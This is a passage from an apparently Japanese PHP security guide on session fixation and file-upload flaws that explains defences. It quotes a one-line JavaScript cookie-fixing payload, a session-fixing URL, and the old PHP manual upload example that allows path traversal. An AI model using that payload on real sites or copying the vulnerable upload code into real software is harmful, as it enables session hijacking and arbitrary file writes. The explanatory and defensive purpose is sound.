ログイン成功時にセッション ID を攻撃者が知り得ない値に変更すれば、攻撃者がユーザのログイン成功後のセッション ID を知ることはできません。これにより、Session Fixation 攻撃に対処できると考えられます。ただし、ログイン前に、セッション変数に攻撃者に汚染された情報が含まれていないかをユーザがチェックできるようにした方が安全かもしれません。PHP では、session_regenerate_id() を実行することで、セッション ID を変更することができます。
また、以下の対策を行うことでも、Session Fixation 攻撃の可能性を低くすることが可能です。上記と組み合わせることで、より安全なセッション管理を行うことができるかもしれません。
php.ini や ini_set() で、session.use_cookies と session.use_only_cookies の両方を有効にする
PHP ではこの設定を行うと、セッション管理に Cookie のみを使用し、GET や POST によるセッション ID の指定はできなくなります。別ドメインから Cookie を発行するのは困難ですので、Session Fixation 攻撃を受ける可能性を低くすることができると考えられます。ini_set() を使用する場合は、session_start() を実行する前に設定してください。
問題として、クロスサイトスクリプティングが可能な場合や、同じドメインで攻撃者が HTML を変更する権限を持っている場合は、この方法だけでは対処できません。
IP アドレスチェックを行う
セッション開始時にセッション変数に IP アドレスを記録し、毎回照合します。IP アドレスが違う場合はエラーとして扱い、セッション初期化などの対処を行います。
この方法は、限定された環境での対策としては有効だと考えられますが、いくつか問題があります。攻撃者と正当なユーザがプロキシなどを利用していて、同じ IP アドレスとなる場合はこの方法では対処できません。また、アクセスごとに違う IP アドレスになるような環境では、サイトが利用できなくなる可能性があります。
上の対処方法を使用すれば PHP では Session Fixation 攻撃は回避できると考えられますが、Session Fixation が起きる条件について考えてみました。推測で書いている部分がありますので、間違いがあるかもしれません。参考程度ということにしてください。
共有ドメインを使用している場合
同じドメインを使用していて、攻撃対象のスクリプトで Cookie Path を設定していなければ、セッション ID を発行してから攻撃対象の URI に誘導することで簡単に Session Fixation を引き起こすことが可能です。
ブラウザのドメイン認識の問題
古いブラウザでは、Session Fixation はブラウザのドメインの認識の問題で、実際には違うドメインなのに、同じドメインと認識してしまい、ドメインの Cookie を受け入れてしまう際に起きる可能性があります(Cookie Injection Vulnerabilities (2004.09.20 過去ログ))。
または、a.example.jp と b.example.jp という別の管理者が管理している2つのドメインにおいて、a.example.jp が example.jp というドメインの Cookie を発行した後に、b.example.jp を訪れると b.example.jp は example.jp というドメインの Cookie を受け入れることになり、Session Fixation が成立する可能性があります。
PHP の場合の問題
PHP は、php.ini で session.use_only_cookies(デフォルト:0(無効)) が 1(有効)でない場合は、Cookie 以外の GET や POST に含まれるキーをセッション ID として使用します。具体的には、セッション ID として、session.name(デフォルトでは "PHPSESSID") で指定された名前をキーとする値が Cookie から送信されなかった場合、GET や POST のキーをセッション ID として使用します。
例えば、session_start() を含む PHP スクリプトを設置して、以下のような URI を指定します。
http://www.example.com/session.php?PHPSESSID=0123456789abcdefghijklnmopqrstuv
セッションを保存しているディレクトリ(デフォルト: /tmp) を見ると、以下のファイルが作成されます。
sess_0123456789abcdefghijklnmopqrstuv
このセッション ID のまま、Web アプリケーションにログインすると Session Fixation 攻撃が成功することになります。
PHP 4.3.11 で確認したところでは、GET で発行したセッション ID の管理を Cookie に切替えるとセッション ID が変わることを確認しました。GET などによって指定したセッション ID を継続させるには、GET か POST で同じセッション ID を指定し続けるか、Cookie にそのセッション ID を登録する必要がありますが、Cookie に登録するのは Javascript などを使わないと難しいと思います。
Session Fixation が成立するようなサイトは、php.ini で session.use_trans_sid を有効にしているか、定数の SID を使って、Cookie が使用できないブラウザでもセッションを継続できるようにしているのかもしれません。
(2005.07.17 追記)
クロスサイトスクリプティング脆弱性が存在するサイトでは、Javascript を使用すれば簡単に Cookie の値を設定させることができます。
例えば、以下のような Javascript を埋め込むことに成功すれば、指定したセッション ID で Cookie を発行させた後、ログインページに誘導する事が可能です。
document.cookie='PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';location.href='login.php'
セッション関連の処理で注意すべきクロスサイトスクリプティング問題で書いたように、session_id() や定数の SID を使用している場合、上記の session_regenerate_id() を使用するか、htmlspecialchars() を使用してエスケープ処理を行っていない場合、クロスサイトスクリプティングを起こすことができますので注意してください。
Session Fixation Vulnerability in Web-based Applications (acros)
PHP and Session Fixation (Hardened PHP-Project)
SecurIT-Advisory 2005-001 URLに埋め込むIDに頼ったセッション管理方式の脆弱性(2) (SecurIT)
SecurIT-Advisory 2000-001 Cookieを使用せずURLに埋め込むIDに頼ったセッション管理方式の脆弱性(1) (SecurIT)
Cookie盗聴によるWebアプリケーションハイジャックの危険性とその対策 (SecurIT)
PHP Security Guide: Sessions (PHP Security Consortium)
PHP では、簡単にアップロードされたファイルを扱うための機能が提供されています。ファイルアップロード処理を行う際には、PHP マニュアル: ファイルアップロードの処理は必ず読むようにしてください。
基本的なファイルアップロード処理としては $_FILES の配列を使用して is_uploaded_file() でアップロードされた一時ファイルが正しいかどうかを確認し、move_uploaded_file() で任意のディレクトリに移動させることでファイルアップロードを行います。
ただし、PHP 4.3.8 以前では PHP マニュアルの例のまま処理を行っていた場合、任意の場所にファイルをアップロードされる可能性のある問題が報告されています。
[Full-disclosure] Bug with .php extension? で指摘されていたのですが、サーバ上に test.php.rar という PHP のコードが書かれたファイルが存在していて、http://www.example.com/test.php.rar のようにアクセスされた場合、ダウンロードされるのではなく、PHP のコードとして実行されてしまうという問題です。
これは、Apache の mod_mime の仕様(Apache mod_mime モジュール: 複数の拡張子のあるファイル)だそうです。
PHP では、ファイルアップロードを受け付けるスクリプトで、ファイル名をそのまま保存する場合、任意の PHP スクリプトが実行されてしまう可能性があります。以下の全てに該当する場合は危険です。
ファイルアップロードを受け付けている
ファイルアップロード時に指定されたファイル名のまま保存している
そのファイルに直接アクセスを許可している
この問題の対処方法としては、アップロードされたファイル保存時にタイムスタンプや sha1() などのハッシュ関数などにより、ファイル名を変更する方法があります。
通常、CGI は実行権限が必要ですが、PHP は Apache モジュールで実行されている場合、実行権限が不要なため、拡張子を偽って PHP スクリプトをアップロードされた場合に攻撃が成功してしまう可能性が高いと考えられますので、ファイルアップロードを受け付けている場合は注意してください。
ファイルアップロード時のセキュリティホールとして、以下の2つの問題が報告されています。詳細については、以下のページでまとめていますので、そちらを参照してください。
PHP Memory Leak and Arbitrary File Location Upload Vulnerabilities (2004.09.20 の過去ログから)
Overwrite $_FILE array in rfc1867 - Mime multipart/form-data File Upload (2004.10.03 の過去ログから)
PHP 4.3.6 以前では、$_FILES['form_name']['name'] に、.. を含めることが可能であり、PHP 4.3.7 で .. が含まれていた場合は削除されるように修正されたのですが、別の問題により、PHP 4.3.6 以前と同じように、$_FILES['form_name']['name'] に .. を含めることが可能になってしまうという問題です。
この問題は、$_FILES['form_name']['name'] に .. が含まれた場合、PHP マニュアルに書かれていたサンプル通りに処理が行われていた場合、httpd に書き込み権限がある任意のディレクトリにファイルをアップロードされてしまう可能性があります。
既に英語版の PHP マニュアルでは修正されていますが、以下の例が示されていました。この例の通りにファイルのアップロード処理を行っていた場合、問題になります。※現在は修正されています。
例 20-2. ファイルのアップロードを検証する
... $uploaddir = '/var/www/uploads/'; $uploadfile = $uploaddir. $_FILES['userfile']['name']; print "<pre>"; if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { print "File is valid, and was successfully uploaded. "; print "Here's some more debugging info:\n"; print_r($_FILES); } else { print "ファイルアップロード攻撃をされた可能性があります。デバッグ関連情報:\n"; print_r($_FILES); } ?>
この例で、$_FILES['userfile']['name'] に、../../../filename という形で、.. が含まれた変数が入力された場合、そのディレクトリに書き込む権限があれば、ファイルアップロードが成功してしまいます。
この問題に対する対策として、basename() を使用する方法が挙げられており、PHP マニュアルの英語版では、既に以下のように修正されています。
$uploadfile = $uploaddir. basename($_FILES['userfile']['name']);
basename() を使用する以外にも、<